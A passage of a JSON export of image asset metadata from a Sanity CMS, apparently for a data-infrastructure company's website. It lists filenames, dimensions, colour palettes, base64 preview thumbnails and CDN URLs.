UJnJIvmO7yoDnjZuCKu9pGzH/BlPuDPdvG/6vI0fsrU4hEzXg01muL3rRUuI1s8vRXORn4gtHdBTB0Q3usQznfZUPoktCHrpR7S8/eYl14zHTjhfuD2A46Z9B1icLUIhHb4LRPkz22Zm7XtO6Fp6Vvm46eIqffMx94yH/sRa/IdC4l3PIm+wRT8Bp2zhSDWGLdrjNs0dHaNWU+edizCHzmJf17K3Cy/Yt5dRzA5KzxabGKRDzAttplyN5h0NTG62+jd++hdLXSOOnqxikHURtc02svI8ha/bnv4Oy/yV2qFy2AGq0NB+FIs8JVH5Ym/htmtMWFTRgnGHA0EqcWY1GTc0fiP27lOqmPz77K/EWEYD9NdSZHz7DBrKyBMiyomh4JJLHLfVmDCWkQvVhiXmoyNhC0EZxvBuf8/jM46ZpeKxaVgkRTMdoVJm8K/IvCMO4UH+/0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a355f","foreground":"#fff","population":1.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":26.64,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":26.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9eb2d1","foreground":"#000","population":1.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9473a","foreground":"#fff","population":2.72,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a16d61","foreground":"#fff","population":0.14,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f86a13","foreground":"#fff","population":2.91,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"1b918114a683c20eace09955fc60d5a2d3600ba2-1567x844.png","path":"images/sczeoy4w/production/1b918114a683c20eace09955fc60d5a2d3600ba2-1567x844.png","sha1hash":"1b918114a683c20eace09955fc60d5a2d3600ba2","size":69796,"uploadId":"ZYaL96iC888ZbFpKEIdJJ0I0MbvwAOrk","url":"https://cdn.sanity.io/images/sczeoy4w/production/1b918114a683c20eace09955fc60d5a2d3600ba2-1567x844.png"} {"_createdAt":"2023-08-25T15:00:09Z","_id":"image-1c086f3536d201cb0d885fdefcd9eb8e5e8b6aaf-1800x743-jpg","_rev":"n4o7HM4ybKf4O57IbTXww5","_type":"sanity.imageAsset","_updatedAt":"2023-08-25T15:00:09Z","assetId":"1c086f3536d201cb0d885fdefcd9eb8e5e8b6aaf","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBQcrH8_I,D%9G~qRjRmM{n#?[xuM$ofob","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.4226110363391657,"height":743,"width":1800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAIABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAQFB//EACAQAAICAQQDAQAAAAAAAAAAAAECAAMEERIxUQYTIUH/xAAWAQEBAQAAAAAAAAAAAAAAAAABAgT/xAAWEQEBAQAAAAAAAAAAAAAAAAAAATH/2gAMAwEAAhEDEQA/AN48efKrTN3o2nvbQt1+Swxbcuxi9qDeCQFVvhERNFuplTlvDDleuYiIB//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#303759","foreground":"#fff","population":0.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0d1350","foreground":"#fff","population":2.34,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0d1350","foreground":"#fff","population":2.34,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acbed4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6ccc","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ae9c65","foreground":"#000","population":0.29,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ee489a","foreground":"#fff","population":0.19,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven_Apache_Kafka_BigQuery.jpg","path":"images/sczeoy4w/production/1c086f3536d201cb0d885fdefcd9eb8e5e8b6aaf-1800x743.jpg","sha1hash":"1c086f3536d201cb0d885fdefcd9eb8e5e8b6aaf","size":390955,"uploadId":"URN5TeTtjWSTd7z7L17IuXDp7fXxVoJA","url":"https://cdn.sanity.io/images/sczeoy4w/production/1c086f3536d201cb0d885fdefcd9eb8e5e8b6aaf-1800x743.jpg"} {"_createdAt":"2023-03-15T12:51:36Z","_id":"image-36a4c58d3bb9a5cefd75f4dd63b9bba8f9ac1115-800x800-jpg","_rev":"RksXZeZKLvjmDTh00dGRwZ","_type":"sanity.imageAsset","_updatedAt":"2023-03-15T12:51:36Z","assetId":"36a4c58d3bb9a5cefd75f4dd63b9bba8f9ac1115","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGgABAAIDAQAAAAAAAAAAAAAAAAQGAgUHCP/EACQQAAEEAQMEAwEAAAAAAAAAAAEAAgMEEQUGMQcSE1EyQUJh/8QAFwEBAAMAAAAAAAAAAAAAAAAABAACA//EABsRAAIDAAMAAAAAAAAAAAAAAAABAxESAkFC/9oADAMBAAIRAxEAPwDu3VjWrGjbVeaUhis2XtgZIB8c8lVzadd2gUob8F6zZ7iPOx7sh2eSsOqe+dvzaK6hA83bcrsQ+NuQ14/q1WydywRUYYLMM3bBgziT2jyN6TQmJccOztkbw+Nrxw4ZRQKWs6farRzQ2Y+xwyMnCLe0Ho8taRG2TEbxkNmwPYVsjYG13gft2HH7KIjeWI7J9B5FZoHAREVCH//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#574132","foreground":"#fff","population":1.71,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2e1a0a","foreground":"#fff","population":0.26,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dfb8a4","foreground":"#000","population":4.21,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acbccc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dfb8a4","foreground":"#000","population":4.21,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e816d","foreground":"#fff","population":2.45,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4907c","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"david-wyatt.jpg","path":"images/sczeoy4w/production/36a4c58d3bb9a5cefd75f4dd63b9bba8f9ac1115-800x800.jpg","sha1hash":"36a4c58d3bb9a5cefd75f4dd63b9bba8f9ac1115","size":276099,"uploadId":"TrwpMMKhATC8OVfUQxJvO6waxb0iyiiH","url":"https://cdn.sanity.io/images/sczeoy4w/production/36a4c58d3bb9a5cefd75f4dd63b9bba8f9ac1115-800x800.jpg"} {"_createdAt":"2023-09-06T08:32:51Z","_id":"image-1c0c04b5863f14372728f34a356f6d3d33d867a8-2622x1710-png","_rev":"7lO65z9OheRFnytB4YXHH2","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T08:32:51Z","assetId":"1c0c04b5863f14372728f34a356f6d3d33d867a8","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5333333333333334,"height":1710,"width":2622},"exif":{"PixelXDimension":2622,"PixelYDimension":1710,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAABYlAAAWJQFJUiTwAAABOklEQVQ4ja2Ti46EIAxF/f8vHZU3FBUc7+ayy0QnO5Psw6Qp4O2hhTLM8wyaUgbKCpRboJ3A+gQfrhZiQkwCkav5kKBtwmwiBqUUjDEwNmDUgpsSaEfAp9A1sCDJAskrcl6xbdvF1q1Alg1RNgwNZkwLNk5wmyxmpeF9gPO+eckZ67ZBJCOEiGVZUErBuq7N7/uOWneUWjFYa6G1RkypBTLjaZrgnGsWQmhZ1FqRUmqbs8wz8H6/4ziO5h9Airkzx2dgjPGRBTXUU8d53+g4DvCj/xUw59xAZ+DxZQ3IMs/AcRxfAqnlWgeWUq4Z8kyege8y7ECufVuy+SGwH89zyX8C8pZfnqH57wx5Kb232Fcc8yn61tT+EUwgNdS/7UMGMIv+k3M2M1uD1nuOYmbENWpp/Ndv+vO1VHwAQ0btEe7n7fcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f4869","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#293e5b","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8a8b90","foreground":"#fff","population":0.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#94a4bc","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bccce1","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8a8b90","foreground":"#fff","population":0.3,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4e78b0","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"flink-bq-big-query-table.png","path":"images/sczeoy4w/production/1c0c04b5863f14372728f34a356f6d3d33d867a8-2622x1710.png","sha1hash":"1c0c04b5863f14372728f34a356f6d3d33d867a8","size":558261,"uploadId":"2c7UM7YRNz0Ad3z5wUFSz4oflqkdNWVz","url":"https://cdn.sanity.io/images/sczeoy4w/production/1c0c04b5863f14372728f34a356f6d3d33d867a8-2622x1710.png"} {"_createdAt":"2022-08-12T12:23:41Z","_id":"image-1c1243010a189ae050219af84e861ec9d0b8cf9d-1200x630-jpg","_rev":"Dw0aHV2Vi2aVE96DWOSt0f","_type":"sanity.imageAsset","_updatedAt":"2022-08-12T12:23:41Z","assetId":"1c1243010a189ae050219af84e861ec9d0b8cf9d","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MSPir1*J$%Dk.8AfnhbboMoz.7R4NIxujX","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUHBAb/xAAkEAABAwMEAQUAAAAAAAAAAAADAQIEAAURBhMhMRIVMkFRkf/EABUBAQEAAAAAAAAAAAAAAAAAAAME/8QAHBEAAQQDAQAAAAAAAAAAAAAAAQACAxIEESEU/9oADAMBAAIRAxEAPwC6yYl0dJI4MhEE5eEV3VcRrS5zh3lLV6iaKAQkI57fcRy/GfqqQNMSXrz+1muFshSybsmMMhUTHk5OcURyC0HSdsIsNpVoaeSRp8TjFMd7XObuE7XFFPokcUYDRRxtGNOmtTiip/S89KofDFY0HF//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f564d","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#114fa7","foreground":"#fff","population":3.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#114fa7","foreground":"#fff","population":3.01,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9ecdd5","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6cacf0","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a96573","foreground":"#fff","population":0.21,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc2440","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven_retail_solutions_meta_preview.jpeg","path":"images/sczeoy4w/production/1c1243010a189ae050219af84e861ec9d0b8cf9d-1200x630.jpg","sha1hash":"1c1243010a189ae050219af84e861ec9d0b8cf9d","size":208535,"uploadId":"AKmkARY7TkQjvGjcLy1hLDSgJRFE1UBt","url":"https://cdn.sanity.io/images/sczeoy4w/production/1c1243010a189ae050219af84e861ec9d0b8cf9d-1200x630.jpg"} {"_createdAt":"2024-05-08T12:49:27Z","_id":"image-1c132ac6a682c90b4924f03aec0ba01c90b0fbca-1784x818-png","_rev":"6IjwK8t2YScx5mkOZiYn22","_type":"sanity.imageAsset","_updatedAt":"2024-05-08T12:49:27Z","assetId":"1c132ac6a682c90b4924f03aec0ba01c90b0fbca","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9Ry$+Sc}_~X%M?cWUS0s;t7^At7EcR%jb","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.1809290953545233,"height":818,"width":1784},"exif":{"PixelXDimension":1784,"PixelYDimension":818,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAABYlAAAWJQFJUiTwAAABQUlEQVQokY2R3XKCMBCF8/7v1woCohExhARC/kC9OJ0FsbZ12l58k53M7tnds2yabhjH64wPI3pjoY1BbwcY52B9gPfjn4QwIcYL2LOgcxGiabE/HVE0e+w1R2u7uREl/wc2jktAgtYGHKszkiLDG0+wFQWEaWfBtelvxHgFcyE+JnA2oqoFUp4jqTPs2gPORqL3A2wID6gmxGXF+AQNx8gj5+P8QV5IrZHLHd5VilTnKPoSe8PBTbUwnHAaBLTv4eNPK1j81kkPBoUq8d4m2KgUG71FqjNsuwLZndIcIGw7TxupjmwbF9vYNH16QJdqdYddzZGLEqU6oOw4eF+hHhqcrYSwEtJp9N6+XPvLlUlQdwOEVGiUgjQKynYw3sHFOK9IrEKvDsMulxvWKSmJRMlL5+kAfhYgs6d7Ab1r/ErwA2nqsRnjyTrsAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#36692f","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2e5b28","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#80c181","foreground":"#000","population":0.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcccac","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#abeea8","foreground":"#000","population":0.06,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#80c181","foreground":"#000","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8cc884","foreground":"#000","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Enriched-record.png","path":"images/sczeoy4w/production/1c132ac6a682c90b4924f03aec0ba01c90b0fbca-1784x818.png","sha1hash":"1c132ac6a682c90b4924f03aec0ba01c90b0fbca","size":206137,"uploadId":"MMYf8hC0iKv8DV2ysANOWcbncbMZ7dTm","url":"https://cdn.sanity.io/images/sczeoy4w/production/1c132ac6a682c90b4924f03aec0ba01c90b0fbca-1784x818.png"} {"_createdAt":"2022-06-16T22:53:45Z","_id":"image-1c67eaac8f8740b784efb116d89aadb9d3dfd1b7-130x46-svg","_rev":"qkpX9b3U0TpOGFQp8fNt2A","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:53:45Z","assetId":"1c67eaac8f8740b784efb116d89aadb9d3dfd1b7","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DB7^e~#l0L7M?H}]wI56F|-W","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.8260869565217392,"height":46,"width":130},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAABj0lEQVQokYWPS0tbQQCFv7m3SGL1Jj4WpdAYX0mM0djaNG3iC5JoFVSQKCKoKEEQKqEVEQq2aCviRgoKKrgStVDfSHdJoXXhsotuBCl268pfIFcmjCBI8cCBgTnnmzNwSwL4EXRi7oS5GvKLP2GXM1VZnFz11X9/G5tKx0f2PkZmjr3PN050TJPw3C80Xbb+I48jC3M7wOWah7+rLsvZmKvtd0fp5re6UGqsdybdNb2+37W82DewNWr0nqZp+vCJe7WQeMT5nouLQ0/OvyV399n78pXUYHA+OTH5uW9lam14M5F4s9tWGP8SZd08orAo5w7DBuQDudK6ljkbPRHDfjDrqP4554x9fecN9Y+3hDqnI+3x2WCgbqAkD7BourCqvh0oAB5LYK38LVACuAGvtBD4si3Cn2/TnxqG5rfmalUP7brXanvwRGiZbBVQBlQCFYAPaJTAZqBcXdYo4AsgBrwGWoAo8AooViuCQKvKST9TwJAEdqiVflV6qV6SkKiACDcWmZxcJnMNKluvLIE115V5VmmJslJUAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a2e2d","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#67140b","foreground":"#fff","population":0.59,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#67140b","foreground":"#fff","population":0.59,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#84b484","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e5ac62","foreground":"#000","population":0.08,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#54a494","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc2414","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"Comcast.svg","path":"images/sczeoy4w/production/1c67eaac8f8740b784efb116d89aadb9d3dfd1b7-130x46.svg","sha1hash":"1c67eaac8f8740b784efb116d89aadb9d3dfd1b7","size":6066,"uploadId":"UcrqK98MMxKq04izD9jezTyaOGX84XTh","url":"https://cdn.sanity.io/images/sczeoy4w/production/1c67eaac8f8740b784efb116d89aadb9d3dfd1b7-130x46.svg"} {"_createdAt":"2024-03-04T16:13:10Z","_id":"image-1c83176b3a66ec5f75724135f9663c2ea9526257-214x42-svg","_rev":"9lf0N1nj0tQugwM8VKcSkq","_type":"sanity.imageAsset","_updatedAt":"2024-03-04T16:13:10Z","assetId":"1c83176b3a66ec5f75724135f9663c2ea9526257","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"483u+m.A.9-=%N","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.095238095238095,"height":42,"width":214},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA0ElEQVQYlS3My0qCYRSF4cdTppUEDSzMStJQiYj4hc5RIg6iA4QW1ahR3VA30CDovpo1LGkQFl98g5fNetdiqy1W36sLlVGhUPzAcyqVaqOImXjzkYlIcFPRFVCKLvdP0tr67veH49ZO73N6vvqaTme62MA+TnCEw5gPEPpAyMc4Qw+76GjU2j/dweNvMnwaldudt2wmdxofXOAWN7iMXOMOg9iH/IB7XOHcZGl2VF5PxpXNva+5Sv0ll81vYxlraKKOJaxEF6jFTejCpoHVwB8a3SHBwLVAVQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#583048","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1e6479","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5c8da3","foreground":"#fff","population":0.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4b4b4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc94e4","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c8da3","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#34d0e6","foreground":"#000","population":0.04,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-llamaindex.svg","path":"images/sczeoy4w/production/1c83176b3a66ec5f75724135f9663c2ea9526257-214x42.svg","sha1hash":"1c83176b3a66ec5f75724135f9663c2ea9526257","size":75132,"uploadId":"D8aL5ALlCCPuqAbfDPwguzQmpGZqG6yC","url":"https://cdn.sanity.io/images/sczeoy4w/production/1c83176b3a66ec5f75724135f9663c2ea9526257-214x42.svg"} {"_createdAt":"2022-06-14T14:41:15Z","_id":"image-1c8b03bfaf903b8dab5f256e8e7aaeb24858b6a4-953x953-jpg","_rev":"oamrAPLmQLQjd9jh7Ypzbi","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:15Z","assetId":"1c8b03bfaf903b8dab5f256e8e7aaeb24858b6a4","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eKLp~wt7TKMxw]4nRjxubHj[_NWCQ-xuELD%jst7WBt7%2ofRjaybH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":953,"width":953},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAYEAwX/xAAkEAABAwMEAQUAAAAAAAAAAAABAAIDBAUREhMhQTEGFCIycf/EABgBAAMBAQAAAAAAAAAAAAAAAAIDBAAB/8QAGBEBAQEBAQAAAAAAAAAAAAAAAQACQTH/2gAMAwEAAhEDEQA/AK+olbR0jpiNWPAHZ6C85twuFDc6SG6NpTFVu0s2XZLD0Ct973YbYZYqZ9Q8SN0xtGcnKl/WVNcG3W3SU9DNIGyNkcWR/XHXCi1pEKzGDWVa+MIRdo/lG1xBBIBwUTZFXWWCNlDDpaOW5P6tk7WtHDWjvwiIuW7R9ycfdvPHPKIiEuvt/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#684733","foreground":"#fff","population":3.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3e2b1d","foreground":"#fff","population":6.97,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3e2b1d","foreground":"#fff","population":6.97,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccb6a4","foreground":"#000","population":0.53,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e7c5ad","foreground":"#000","population":4.83,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a7765c","foreground":"#fff","population":1.72,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bb8b69","foreground":"#fff","population":3.05,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Emma-speaker-2.jpg","path":"images/sczeoy4w/production/1c8b03bfaf903b8dab5f256e8e7aaeb24858b6a4-953x953.jpg","sha1hash":"1c8b03bfaf903b8dab5f256e8e7aaeb24858b6a4","size":711547,"uploadId":"5jVrHYchkKfPelRoUMf9hBTUUGpJmsSh","url":"https://cdn.sanity.io/images/sczeoy4w/production/1c8b03bfaf903b8dab5f256e8e7aaeb24858b6a4-953x953.jpg"} {"_createdAt":"2024-02-22T17:28:56Z","_id":"image-1c8bf76a06d98b184c56213a020493fe7db26fc7-680x322-jpg","_rev":"hK0rPAxntJQBqYVPAhxHYM","_type":"sanity.imageAsset","_updatedAt":"2024-02-22T17:28:56Z","assetId":"1c8bf76a06d98b184c56213a020493fe7db26fc7","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBCPCY~pM_4:Rj#R0fRit7%2R5E3-o%2WX","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.111801242236025,"height":322,"width":680},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAJABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABgAFB//EACQQAAAGAAUFAQAAAAAAAAAAAAABAgMEBQYRMUFxEiEzNDVy/8QAFQEBAQAAAAAAAAAAAAAAAAAAAQT/xAAdEQACAQQDAAAAAAAAAAAAAAAAAQMCBBETMVFS/9oADAMBAAIRAxEAPwAXX4PsHIbqJVjDiMtrNw1GslGWfAJ4itDjWbMaLauWaWNTWWSe2xDSh/An/kxzeP7q+RMqU85KdjXAhk42s1vKM+hO2RFoIGJXnXyIKtovKHfJ2f/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4f3525","foreground":"#fff","population":9.55,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7b4420","foreground":"#fff","population":8.97,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c4b5a4","foreground":"#000","population":10.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4b5a4","foreground":"#000","population":10.3,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e6cfc1","foreground":"#000","population":0.83,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a46f68","foreground":"#fff","population":0.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a1692f","foreground":"#fff","population":3.27,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"III Forks.jpeg","path":"images/sczeoy4w/production/1c8bf76a06d98b184c56213a020493fe7db26fc7-680x322.jpg","sha1hash":"1c8bf76a06d98b184c56213a020493fe7db26fc7","size":68856,"uploadId":"iGNeDkO45SvmupQHeWqdf3Y9KjUrqwRN","url":"https://cdn.sanity.io/images/sczeoy4w/production/1c8bf76a06d98b184c56213a020493fe7db26fc7-680x322.jpg"} {"_createdAt":"2022-06-30T20:09:22Z","_id":"image-1c9d8815f9e338ec85c1c06f944492be90ee5fc1-727x418-png","_rev":"QRl2cGoCgj0FlAhkRriCK8","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:26:47Z","assetId":"1c9d8815f9e338ec85c1c06f944492be90ee5fc1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M3S?DV-;_N%gM{_3NG?IxuNFS|tR^+xuM_","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7392344497607655,"height":418,"width":727},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAA7DAAAOwwHHb6hkAAABNUlEQVQokVVS0XLDMAjr/3/osq69WxMHECDcneM21+l4wbYQwlyez2c/UNXdqWrbut5vP9dlWb6+lu/ler3e7rd1W1U1InrvzzcuvXeSEZGkB9UgItKabNu2Ph7r72N7tH0TETOb5BODHBF